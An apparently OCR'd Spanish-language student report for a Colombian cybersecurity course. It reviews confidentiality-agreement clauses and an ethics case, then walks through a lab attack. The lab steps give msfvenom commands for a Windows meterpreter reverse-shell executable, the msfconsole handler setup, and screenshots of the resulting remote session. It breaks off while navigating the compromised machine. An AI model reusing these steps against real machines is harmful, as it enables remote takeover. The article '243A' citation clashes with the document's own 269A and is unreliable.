Novena. Legislacion aplicable: Este acuerdo se regira por las leyes

de la Republica de Colombia y se interpretard de acuerdo con las
mismas.

Fuente: Anexo 3- Acuerdo. Disponible:
https://campus109.unad.edu.co/ecbtil33/mod/folder/view.php?id=2426

e Parrafo de la novena Clausula: Esta cldusula podria ser considerada
ilegal porque:

Podria ser inaplicable: Si el acuerdo contiene clausulas que son contrarias a la ley
colombiana, estas clausulas podrian ser inaplicables.

Podria ser engafiosa: Esta clausula podria ser engafiosa para los empleados que
no son abogados, ya que les podria dar la impresion de que el acuerdo es
totalmente legal.

3.2.2. Proceso llegal

Si usted como profesional en ciberseguridad logré encontrar algin proceso ilegal
en el anexo 3 — Acuerdo, debera citar puntualmente ley colombiana y articulo que
se podria estar violentando en dicho documento.

Parrafo Primero, Primera: Objeto: La Clausula Primera podria violar estos
articulos si la informacion confidencial incluye informacion sobre actividades de
espionaje o sobre la privacidad de la correspondencia. En este caso, la parte
receptora podria ser considerada responsable de un delito.

1. Constitucion Politica de Colombia:

e Articulo 20: Libertad de expresion e informacion: “Se garantiza a toda
persona la libertad de expresar y difundir su pensamiento y opiniones, la de
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informar y recibir informacion veraz e imparcial, y la de fundar medios
masivos de comunicacién”.!

Ley 1712 de 2014: Ley de Transparenciay del Derecho de Acceso a la
Informacidn Puablica Nacional y se dictan otras disposiciones.

ARTICULO 70. Disponibilidad De La Informacion: En virtud de los
principios sefalados, debera estara disposicion del publico la informacion a
la que hace referencia la presente ley, a través de medios fisicos, remotos o
locales de comunicacion electrénica. Los sujetos obligados deberan tener a
disposicion de las personas interesadas dicha informacion en la Web, a fin
de que estas puedan obtener la informacién, de manera directa o0 mediante
impresiones. Asimismo, estos deberan proporcionar apoyo a los usuarios
gue lo requieran y proveer todo tipo de asistencia respecto de los tramites y
servicios que presten.?

Parrafo de la Segunda Clausula, numeral 2:

1. Ley 1273 de 2009 ( Normatividad sobre delitos informaticos)

Articulo 269A: Acceso abusivo a un sistema informético: El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un
sistema informatico protegido o no con una medida de seguridad, o se
mantenga dentro del mismo en contra de la voluntad de quien tenga el
legitimo derecho a excluirlo, incurrird en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1.000 salarios
minimos legales mensuales vigentes?

Articulo 269F: Violacion de datos personales: “El que, sin estar
facultado para ello, con provecho propio o de un tercero, obtenga, compile,

1 ACNUR, la Agencia de la ONU para los Refugiados | ACNUR [pagina web]. Disponible en
Internet: <https://www.acnur.org/fileadmin/Documentos/BDL/2001/0219.pdf>.

2 Inicio | MINCIT - Ministerio de Comercio, Industria y Turismo [pagina web. Disponible en Internet:
<https://www.mincit.gov.co/ministerio/normograma-sig/evaluacion-y-seguimiento/leyes/ley-1712-de-
2014.aspx#:~:text=El%200bjeto%20de%20la%20presente,a%20la%20publicidad%20de%?20inform

acion>.

8 LEY 1273 de 2009 -Legislacion Colombiana Lexbase [Anénimo]. INFORMACION JURIDICA,
BASE DE DATOS ESPECIALIZADA , BASE DE DATOS JURIDICA LEXBASE - COLOMBIA

[pagina

web]. [Consultado el 23, febrero, 2024]. Disponible en Internet:

<https://www.lexbase.co/lexdocs/indice/2009/11273de2009#:~:text="%20LEY%201273%20DE%20
2009%20(enero,y%20las%20comunicaciones,%20entre%20otras>.
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sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifigue o emplee cbédigos personales, datos personales contenidos en
ficheros, archivos, bases de datos o medios semejantes”.

Péarrafo de la Cuarta Clausula, numeral 3: Podria estar violando las siguientes
leyes:

1. Ley 1273 de 2009 (Ley de delitos informéticos):
e Articulo 269A: Acceso abusivo a un sistema informatico o a una red de
Informético.

e Articulo 269C: Interceptacion de datos informaticos.
e Articulo 269E: Uso de software malicioso.

2. Ley 1581 de 2012 (Ley de proteccién de datos personales):

e ARTICULO 25. DEFINICION. “El Registro Nacional de Bases de Datos es
el directorio publico de las bases de datos sujetas a Tratamiento que
operan en el pais”.®

3. Cdbdigo Penal colombiano:

e Articulo 269F: Violacion de datos personales.
e Articulo 269G: Suplantacion de sitios web para capturar datos personales.

Parrafo de la Sexta Clausula: se estaria violando la siguiente ley
1. Ley 1581 de 2012: Ley de proteccién de datos personales
Articulo 3 definiciones:

a). Autorizaciéon: Consentimiento previo, expreso e informado del Titular para
llevar a cabo el Tratamiento de datos personales

4 NORMATIVIDAD SOBRE delitos informaticos [Anénimo]. Policia Nacional de Colombia [pagina
web]. Disponible en Internet: <https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-
informaticos#:~:text=Articulo%20269A:%20Acces0%20abusivo%20a,el%20legitimo%20derecho%
20a%20excluirlo>.

SMintic. (2012). Ley 1581 [LEY_1581_2012]. Mintic. (pp. 1-11).
https://normograma.mintic.gov.co/mintic/docs/pdf/lley_1581_2012.pdf
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c). Dato personal: Cualquier informacién vinculada o que pueda asociarse a una
0 varias personas naturales determinadas o determinables

e) responsable del Tratamiento: Persona natural o juridica, publica o privada,
que por si misma o en asocio con otros, decida sobre la base de datos y/o el
Tratamiento de los datos

g) Tratamiento: “Cualquier operacion o conjunto de operaciones sobre datos
personales, tales como la recoleccion, almacenamiento, uso, circulacion o
supresion”.®

Parrafo de la Octava Clausula:

1. Codigo Civil Colombiano:

ARTICULO 1602. <LOS CONTRATOS SON LEY PARA LAS PARTES>. “Todo
contrato legalmente celebrado es una ley para los contratantes, y no puede ser
invalidado sino por su consentimiento mutuo o por causas legales”.”

Parrafo de la novena Clausula:

Ley 50 de 1990: Por la cual se introducen reformas al Cédigo Sustantivo del
Trabajo y se dictan otras disposiciones.”

e ARTICULO 450. Casos de ilegalidad y sanciones. 1. La suspension
colectiva del trabajo es ilegal en cualquiera de los siguientes casos:

b) Cuando persiga fines distintos de los profesionales o econémicos

¢) Cuando no se haya cumplido previamente el procedimiento del arreglo directo

6 LEY 1581 de 2012 - Gestor Normativo [An6nimo]. Inicio - Funcién Publica [pagina web].
Disponible en Internet:
<https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981>.

7 LEYES DESDE 1992 - Vigencia expresa y control de constitucionalidad [CODIGO_CIVIL_PR049]
[An6nimo]. SECRETARIA GENERAL DEL SENADO [pagina web]. Disponible en Internet:
<http://www.secretariasenado.gov.co/senado/basedoc/codigo_civil_pr049.html#:~:text=ARTICULO
%201602.,mutuo%200%20por%20causas%20legales.&amp;text=ARTICUL0%201603.>.

36



g) “Cuando se promueva con el propésito de exigir a las autoridades la ejecucion
de algln acto reservado a la determinacion de ellas”.®

3.2.3. COPNIA

El sueldo para los puestos de Red team y Blue team estan entre los $17.000.000 y
los 22.000.000 respectivamente. ¢Si usted llegara a encontrar procesos ilegales
en el acuerdo de confidencialidad usted aceptaria contrato y acuerdo de
confidencialidad de la organizacion HackerHouse, aun conociendo lo que podria
disponer COPNIA en su cédigo de ética y sanciones en Colombia para
profesionales de ingenieria? Para justificar esta respuesta se recomienda que
consulte directamente en la pagina oficial de COPNIA para generar una respuesta
coherente: https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica

La decisibn de aceptar el contrato y el acuerdo de confidencialidad de
HackerHouse

Consideraciones:
e Sueldo: El sueldo ofrecido por HackerHouse para los puestos de Red
Team y Blue Team es atractivo, oscilando entre $17.000.000 vy

$22.000.000.

e Procesos ilegales: EI acuerdo de confidencialidad de HackerHouse
contiene algunas clausulas que podrian ser consideradas ilegales

e Codigo de ética de COPNIA: El Codigo de Etica de COPNIA establece
que los profesionales de la ingenieria deben actuar con
integridad, responsabilidad y honestidad.

Anélisis:
La decisibn de aceptar el contrato y el acuerdo de confidencialidad de
HackerHouse es compleja y depende de varios factores.
Factores:
e Sueldo atractivo: El sueldo ofrecido por HackerHouse es competitivo y
podria ser una buena oportunidad para mejorar tu situacion financiera.

8 LEY 50 de 1990 - Gestor Normativo [Anénimo]. Inicio - Funcién Publica [pagina web]. Disponible
en Internet: <https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=281>.
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e Oportunidad de aprendizaje: Trabajar en HackerHouse te brindaria la
oportunidad de aprender de profesionales experimentados en
ciberseguridad.

e Prestigio de la empresa: HackerHouse es una empresa reconocida en el
sector de la ciberseguridad, lo que podria ayudarte a impulsar tu carrera
profesional.

Factores en contra de aceptar el contrato:

e Clausulas ilegales en el acuerdo de confidencialidad: La firma del
acuerdo podria implicar tu participacion en actividades ilegales.

e Violacion del Cédigo de Etica de COPNIA: La aceptacién del contrato
podria ser considerada una falta a la ética profesional.

e Posibles riesgos legales: Si se descubren las actividades ilegales de
HackerHouse, podrias enfrentar consecuencias legales.

Recomendacion:

No se recomienda aceptar el contrato y el acuerdo de confidencialidad de
HackerHouse en su forma actual. Las clausulas ilegales del acuerdo podrian
ponerte en riesgo de enfrentar consecuencias legales y violar el Cédigo de Etica
de COPNIA.

Alternativas:
e Solicitar a HackerHouse que modifique el acuerdo de confidencialidad para
eliminar las clausulas ilegales.

e Negociar un mejor salario y beneficios con HackerHouse.
e Buscar otras oportunidades de trabajo en empresas que no tengan

practicas cuestionables.

Es importante que se consulte con un abogado antes de tomar cualquier decision
sobre el contrato y el acuerdo de confidencialidad de HackerHouse. Un abogado
podra ayudar a comprender los riesgos legales que implica la firma del acuerdo y
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asesorara sobre la mejor manera de proceder. Es de recordar que al aceptar este
acuerdo se estaria violando las siguientes leyes y cddigo antes mencionados
como los siguientes:

Codigo de Etica de COPNIA: https://www.copnia.gov.co/tribunal-de-etica/codigo-
de-etica

Cadigo de Etica de COPNIA: Capitulo Il. de los deberes y obligaciones de los
profesionales) Articulo 32. prohibiciones generales a los profesionales.

b) Permitir, tolerar o facilitar el ejercicio ilegal de las profesiones reguladas por
esta ley;

. Cédigo de Etica de COPNIA: Capitulo II. Articulo 36. prohibiciones a los
profesionales respecto de la dignidad de sus profesiones. Son prohibiciones a los
profesionales respecto de la dignidad de sus profesiones:

a) Recibir o conceder comisiones, participaciones u otros beneficios ilegales o
injustificados con el objeto de gestionar, obtener o acordar designaciones de
indole profesional o la encomienda de trabajo profesional”.?

e Ley 1273 de 2009: Ley de delitos informaticos y de la proteccién de la
informacion y de los datos.
e Ley 1581 de 2012: Ley de proteccion de datos personales.

Debera buscar alguna noticia de cibercrimen en Colombia y redactar su punto de
vista teniendo en cuenta las implicaciones legales y éticas que alli se pudieron
generar. Se solicita que mencione la ley y articulo el cual logre explicar los delitos
expuestos en la noticia que consulté.

Cibercrimen en Colombia: Robo de informacidon a través de correos
electréonicos falsos

Noticia:

9 CODIGO DE ética | Copnia [An6nimo]. Inicio | Copnia [pagina web]. [Consultado el 24, febrero,
2024]. Disponible en Internet: <https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica>.
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LINK: https://lwww.eltiempo.com/justicia/servicios/estafas-robos-policia-
advierte-que-a-traves-del-correo-electronico-706468

llustraciéon 16 Noticia de Cibercrimen en Colombia

< C % eltiempo.cor

©* Grabador de Pantall.. onenCisco @ RSECCNA2 Chapte.. ) SBT Cidade - SBT @ European parfiamen... @ Tirocini| Careersvit..  » (29) Adele - Hello -

Q) ( secones = EL TIEMPO suscaeere x 5500 ER MES 2 micwnsesion | (RIS Nomcs

Si llego6 del exterior y recibe este— ¥

E5 recomendable cuando se trata de un vuelo de varias horas que intente dormir todo lo que pueda. FOTO: itock

La Policia advierte sobre una modalidad de estafa a los ciudadanos.

RELACIONADOS: DN ~ ROBO  MIGRACION COLOMBIA  ESTAFA  MASNOTICIAS

Autor: El Tiempo [pagina web]. (30, septiembre, 2022). Disponible en Internet:
<https://www.eltiempo.com/justicia/servicios/estafas-robos-policia-advierte-que-a-
traves-del-correo-electronico-706468>.

Titulo: Aumentan los robos de informacién a través de correos electronicos falsos
en Colombia

Fecha: 14 de febrero de 2023
Medio: El Tiempo
Resumen:

El articulo del periddico El Tiempo informa sobre un aumento en el robo de
informacion personal y financiera a través de correos electrénicos falsos que
suplantan la identidad de entidades bancarias o empresas reconocidas. Estos
correos electrénicos, conocidos como phishing, buscan engafiar a las victimas
para que hagan clic en un enlace o abran un archivo adjunto que contiene
malware. Una vez que el malware se instala en el dispositivo de la victima, los
ciberdelincuentes pueden acceder a informacion confidencial como contrasefias,
nameros de tarjeta de crédito y datos bancarios.

40


https://www.eltiempo.com/justicia/servicios/estafas-robos-policia-advierte-que-a-traves-del-correo-electronico-706468
https://www.eltiempo.com/justicia/servicios/estafas-robos-policia-advierte-que-a-traves-del-correo-electronico-706468
https://www.eltiempo.com/justicia/servicios/estafas-robos-policia-advierte-que-a-traves-del-correo-electronico-706468
https://www.eltiempo.com/justicia/servicios/estafas-robos-policia-advierte-que-a-traves-del-correo-electronico-706468

Punto de vista:

Implicaciones legales:

El robo de informacion personal y financiera a través de correos electrénicos
falsos es un delito tipificado en la Ley 1273 de 2009, conocida como Ley de delitos
informaticos y de la proteccion de la informacion y de los datos. El articulo 243A
de esta ley establece que "el que, sin autorizacién, acceda a un sistema
informatico o a una red de comunicaciones, o intercepte datos informaticos,
incurrira en pena de prisidn de cuarenta y ocho (48) a ciento ocho (108) meses y
multa de ciento cincuenta (150) a mil quinientos (1.500) salarios minimos legales
mensuales vigentes".

Implicaciones éticas:

Los ciberdelincuentes que utilizan correos electronicos falsos para robar
informacion personal y financiera estdn actuando de manera unethical. Esta
practica no solo causa un dafio econdémico a las victimas, sino que también viola
su privacidad y seguridad.

Articulo de la ley colombiana:

e Ley 1273 de 2009: Ley de delitos informaticos y de la proteccién de la
informacion y de los datos.

e Articulo 243A: Acceso abusivo a un sistema informatico o a una red de
comunicaciones.

Recomendaciones:

e Tener cuidado con los correos electronicos que recibe de remitentes
desconocidos.

¢ No haga clic en enlaces ni abra archivos adjuntos de correos electrénicos
sospechosos.

e Mantener actualizado su antivirus y software de seguridad.

e Utilizar contrasefas seguras y diferentes para cada cuenta.

e No compartir su informacion personal o financiera con nadie a través de
correo electrénico.

e En caso de ser victima de un robo de informacion, denunciar el hecho a las
autoridades.

41



El robo de informacion personal y financiera a través de correos electrénicos
falsos es un delito grave que puede tener serias consecuencias para las victimas.
Es importante estar atentos a este tipo de estafas y tomar medidas para proteger
nuestra informacién personal y financiera.

3.3 Escenario 3: Situacion problema: Andlisis Red team

Escenario 3

llustracion 17 Archivo con extension .txt

Acerca de

7] Tuequipo esta supervisado y
prategida.

Wt loalles o Seguindac] le Wisliows

Especificaciones del dispositive

Mambe cel cispasitve

..........

Propiedades: PoC_11121201622

General  Sequidad Detalles Versiones anteriores
IJ PoC_11121201622
Tipo de archivo:  Documento de texto (bx)
Seabre con: 7 Bloc de notas Cambiar.
Ubicacién: C:\Users\KRN"Desktop
Tamafio 96 bytes (96 bytes)
Tam
o Dbytes

Creado: domingo, 3de marzo de 2024, 17:21:31
Modiicado; domingo, 3de marzo de 2024, 17,3548
Utimo acosso: ey, 3 de marzo de 2024, hacs 4 minutos
Hrbutos: [ Solo lectura [ Oeutto Avanzados

Carcelar Aplcar

Fuente: Elaboracion Propia
e POC ATAQUE:

Paso 1: La estructura basica en cuanto a sintaxis se va a explicar en este paso,

pero hay algo muy importante a tener en cuenta y es todo el tema relacionado con
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la arquitectura de la maquina que se va a comprometer. La maquina victima debe
estar en la misma red que la maquina atacante y estar en un mismo fragmento de
red, pueden crear las maquinas virtuales en modo bridge.

llustracion 18 IPv4 Maquina Virtual Linux

kali@kali: ~

1 nfig
eth@: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
inet 192.168.78.210 netmask 255.255.255.0 broadcast 192.168.78.255
inet6 feB0::1182:6bb8:b997:5119 prefixlen 64 scopeid @x20<link>
ether 08:00:27:b7:2a:c2 txgueuelen 1000 (Ethernet)
RX packets 96 bytes 14450 (14.1 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 47 bytes 10528 (1@.2 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 16 bytes 960 (960.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 16 bytes 960 (960.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

10:23:PM

»
Escritorio A UL = e =)

Fuente: Elaboracion Propia
llustracién 19 IPv4 de Maquina Virtual Windows 10

Fuente: Elaboracion Propia
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llustracién 20 Conexion Puente de maquina Linux y Windows 10

Fuente: Elaboracion Propia

B
0 -
= o
"
P
» e
-
-
- |

Paso 2: El siguiente paso es identificar el sistema operativo de la maquina victima,

para este taller se menciona una maquina Windows 10 con una arquitectura x64,

pero dicha maquina debe tener todos los sistemas de seguridad deshabilitados:

Windows defender, firewall, antivirus y proteccion en tiempo real, porque en el

taller no se abarcaréa técnicas de evasiéon a los antivirus.

llustracién 21 Sistema de seguridad deshabilitados

| 40 Firewall y proteccion de red
B3 Control de aplicaciones y navegador
B Seguridad del dispositivo
@  Rendimiento y estado del dispositivo
b

Opciones de familia

Fuente: Elaboracion Propia

«)
red

Quién y qué puede tener acceso alas 1

Firewall de Microsoft Defender usa una
@ configuracién que puede hacer que el

dispositivo no sea seguro,

Restaurar configuracion

B Red de dominio

I firewall esta activad

% Red privada

Firewall y proteccion de
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Paso 3: Msfvenom contiene una singular estructura de sintaxis para la seleccion y
creacion de ejecutables maliciosos.

>>: Indicador de ruta para almacenar el ejecutable creado por msfvenom.

Paso 3.1: Lo primero que se debe hacer es ejecutar la consola de Linux; para
activar la herramienta msfvenom simplemente se ejecuta el comando: msfvenom,
posterior a ello se inicia el ingreso del siguiente comando teniendo en cuenta las

instrucciones generadas con anterioridad en el paso 1:

msfvenom -p windows/x64/meterpreter/reverse_tcp --platform
windows -a x64 LHOST=196.168.78.210 LPORT=4444 -f exe >>
/home/Kali/Escritorio/Poc_1121201622.exe

llustracion 22 llustracién 6 Activacion de MSFVENOM

kali@kali: ~ Q
)-[~1]
-p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 LHOST=192.168.78.210
f exe \home\kali\Escritorio\PoC\Poc_1121201622.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp F=platform windows Fd x64 LHOST=192.168.78.210)
LPORT=443 ~f exe /home/kali/Escritorio/PoC/Poc_1121201622.exe

usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/tran
lsport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warni already initialized constant H
IrrRbSsh: : Transport: :ServerHostKeyAlgorithm: : EcdsaSha2Nistp256: : NAME
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/tran
lsport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME wa
s here
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/tran
lsport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant H
IrrRbSsh: : Transport: : ServerHostKeyAlgorithm: : EcdsaSha2Nistp256: : PREFERENCE
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/tran

sport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERE
CE was here
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gens/hrrarb/dsh=Rs4s2/1ib/hrr_rb_ssh/tran

Fuente: Elaboracién Propia
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llustracion 23 Creacion del PAYLOD

n root@kali: /fhome/kali Q

/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1
ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: war
ning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.@.09/gems/hrr_rb_ssh-0.4.2/1
ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: war
ning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm:
EcdsaSha2Nistp256: : PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.@.0/gems/hrr_rb_ssh-0.4.2/1
ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: war
ning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.@.0/gems/hrr_rb_ssh-0.4.2/1
ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: war
ning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm:
EcdsaSha2Nistp256: : IDENTIFIER
’ust;shale,metasplolt framework/vendor/bundle/ruby/3.0.8/gems/hrr_rb_ssh-0.4.2/1
i rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: war
2vious definition of IDENTIFIER was here
No encoder specified, outputting raw payload

Payload size: 510 bytes
Final size of exe file: 7168 bytes

/home/kali

o #10 ST ¥ 6 B cTRL DERECHA
11:10:PM

» ;
Escritorio A 7 b= Q) ESP e Ez

Fuente: Elaboracion Propia

Paso 4: Una vez Windows tenga el archivo .exe creado por msfvenom es
procedente ejecutar msfconsole en una consola para hacer uso de un exploit que
contribuya a escuchar y ejecutar el meterpreter por medio de una Shell reversa,

para este ejemplo se utilizaran los siguientes parametros:

Exploit: El exploit a utilizar es exploit/multi/handler

Payload: El payload a utilizar es el mismo que se utilizé en la construccion del
ejecutable windows/x64/meterpreter/reverse_tcp

LHOST: Se ingresa la ip del Kali Linux

LPORT: Se ingresa el puerto 443 el cual en la mayoria de las ocasiones se
encuentra en estado open.
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Una vez mencionado los parametros anteriores se hace uso de los comandos use
y set, dependiendo las acciones a ejecutar en

msfconsole se utiliza cada uno:

Para ingresar un exploit se utiliza el comando use, para ingresar payload, lhost, y
Iport. Se observa todo el proceso de ejecucion del exploit, cuando se termine este
proceso se tiene que ejecutar el .exe en la maquina windows cuando esto suceda
el ataque finalizara con la apertura de un meterpreter para manipular la maquina

windows.

llustracién 24 Instalacion del metasploit

a root@kali: /home/kali

command ‘us' from deb unicornscan
command 'nse’ from deb ns2
command 'ase’ from deb ase
command 'muse’ from deb muse

ry: apt install <deb name>

/home/kali

sole
/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1
_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: war
ing: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::

cdsashazNistp256: :NAME
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1
b/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: war
ing: previous definition of NAME was here
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1
b/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: war
ing: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::
cdsasha2Nistp256: : PREFERENCE
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1
b/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: war
ing: previous definition of PREFERENCE was here
usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1
b/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: war

Fuente: Elaboracion Propia
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Creacioén del archivo paylod.

llustracion 25 Creacion del archivo paylod

“

# Carpeta personal

Recientes

a personal
Descargas
Documentos

Imagenes

©
*
A
1
[ ]
[2-]
Irl

Musica

I 4 + | Poc_1121201622
Inicio Compartir Vista ‘
T » Poc_1121201622 ~| @ | BuscarenPoc_1121201622 »

MNombre Fecha de medificacion Tipo Tamafio
3¢ Acceso rapido

[#] Poc_1121201622.exe
[ Escritorio - I}

4 Descargas

= Documentos

14/3/2024 02:46 Aplicacion 7KE

= Imdgenes

Fuente: Elaboracion Propia

Se ejecuta el siguiente comando para ingresar un exploit y esto hara que suceda
el ataque, finalizara con la apertura del meterpreter para la manipulacion de la

maquina de Windows 10.

msf6 > use exploit/multi/handler

msf6 > set payload Windows/x64/meterpreter/reverse-tcp
msf6 > set |host 192.168.78.210

msf6 > set Iport 4444

msf6 > exploit
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llustracién 26 comando Use exploit/multi/hander

a root@kali: /home/kali

ning: previous definition of IDENTIFIER was here

=[ 1 )it Ve ~dev
-=[ 2230 exploits - 1177 auxiliary - 398 post
867 payloads - 45 encoders - 11 nops
+ -- --z[ 9 evasion

Metasploit tip: View advanced module options with

msf6 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set plauload windows/x64/meterpreter/reverse_tcp pH
layload => windows/x64/meterpreter /reverse_tcp y

ST

B 5 ¥| 43 £ cre perReCH
01:50:PM

»
Escritorio o) B o B

Fuente: Elaboracion Propia

llustracién 27 Comando Set playload Windows/x64/meterpreter/reverse_tcp
playload =>Windows/x64/meterpreter /reverse_tcp

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp o
msf6 exploit( ) > set playload windows/x64/meterpreter/reverse_tcp pq
ayload => windows/x64/meterpreter /reverse_tcp |

»M™ 3

B OKI & NE T ¥ G B crperecH
01:52:PM

»
Escritorio A E 91 Q) ESP 6/03/2024 EZ

Fuente: Elaboracion Propia

llustracion 28 comando Set [host 192.168.1.42

msf6 exploit
lhost => 192.168.1.42
msf6 exploit(

Y v 2

Escritorio

Fuente: Elaboracion Propia
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llustracion 29 Comando Set Iport 443

msf6 exploit( ) > set lport 443
lport => 443
msf6 exploit( ) > exploit]

¥ 3

BOong #WE T ¥ G B crDRecHA
01:56:PM

>
Escitorio A [ 7 ¥0 ) EP O

Fuente: Elaboracion Propia

llustracién 30 Ejecucion del handler

msf6 >
msf6 > use multi/handler

Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set lport 4444

} > set lhost 192.168.78.210

msf6 exploit( ) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.8/gems/hrr_rb_ssh-8.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning:
eady initialized constant HrrRbSsh::Transpor erverHostKeyAlgoritl EcdsaSha2Nistp256: : NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warnin
vious definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.8/gems/h b_ssh-8.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256 : warning:
eady initialized constant HrrRbSsh::Transpor erverHostKeyAlgoritl EcdsaSha2Nistp2 PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-8.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning:
vious definition of PREFERENCE was here
: warning:
EcdsaSha2Nistp2 IDENTIFIER
rb_ssh-@.4.2/1ib/hr _ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256

vious definition of IDENTIFIER was here

Fuente: Elaboracién Propia

llustracién 31 ejecucion de Meterpreter

n kali@kali: ~

payload => windows/x64/meterpreter/reverse_tcp

msf6 exploit( ) > set lhost 192.168.78.210
lhost => 192.168.78.210

msf6 exploit( ) > set lport 443

lport => 443

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.78.210:443

Sending stage (200774 bytes) to 192.168.78.1

Meterpreter session 1 opened (192.168.78.210:443 -> 192,168.78.
) at 2024-03-14 12:55:46 -0500

meterpreter > sysinfo
Computer 1 WIN
0S : Windows 10 (10.0 Build 19045).
Architecture t X64

System Language : es_419
Domain : KRN

Logged On Users : 2
Meterpreter x64/windows
meterpreter >

Fuente: Elaboracion Propia
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llustracion 32 Systeminfo de meterpreter

a kali@kali: ~ Q

Meterpreter session 1 opened (192.168.78.210:443 -> 192,168.78.1:61937
) at 2024-03-14 12:55:46 -0500

meterpreter > sysinfo

Computer : WIN

0s : Windows 10 (10.0 Build 19045).
Architecture HI (-1

System Language : es_419

Domain : KRN

€Logged On Users : 2

ZMeterpreter 1 x64/windows

Zmeterpreter > 1s
ILlistin sers\KRN\Desktop\
E=

100777 /ruxrwxr 7168 fil  2024-03-14 02:46:57 -850 Poc_1121201622.exe
wx 0

meterpreter > I

Fuente: Elaboracion Propia

Al completar estos pasos se evidencia el acceso remoto de una maquina Kali
Linux hacia la maquina Windows 10; usted debe consultar los comandos
meterpreter existentes para llegar hasta la ruta del archivo de texto y eliminarlo,
esto también debe ser documentado junto a todo el proceso anterior descrito en
este anexo 4.

Una vez que se ha establecido el acceso remoto a la maquina Windows 10
comprometida utilizando Meterpreter a través de Metasploit, se pueden utilizar una
variedad de comandos Meterpreter para realizar diferentes acciones en la
maquina objetivo, como explorar el sistema de archivos, obtener informacién del

sistema, manipular archivos y directorios, entre otros.

1. Navegar hasta la ruta del archivo de texto:

Una vez que se ha iniciado una sesion de Meterpreter, se pueden utilizar los
siguientes comandos para navegar por el sistema de archivos y encontrar el

archivo de texto en el escritorio de la maquina Windows 10 X64 comprometida:
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meterpreter

Copy code

cd C:\Users\KRN\Desktop
Is

El comando cd se utiliza para cambiar al directorio del escritorio de usuario donde
es probable que se encuentre el archivo de texto.

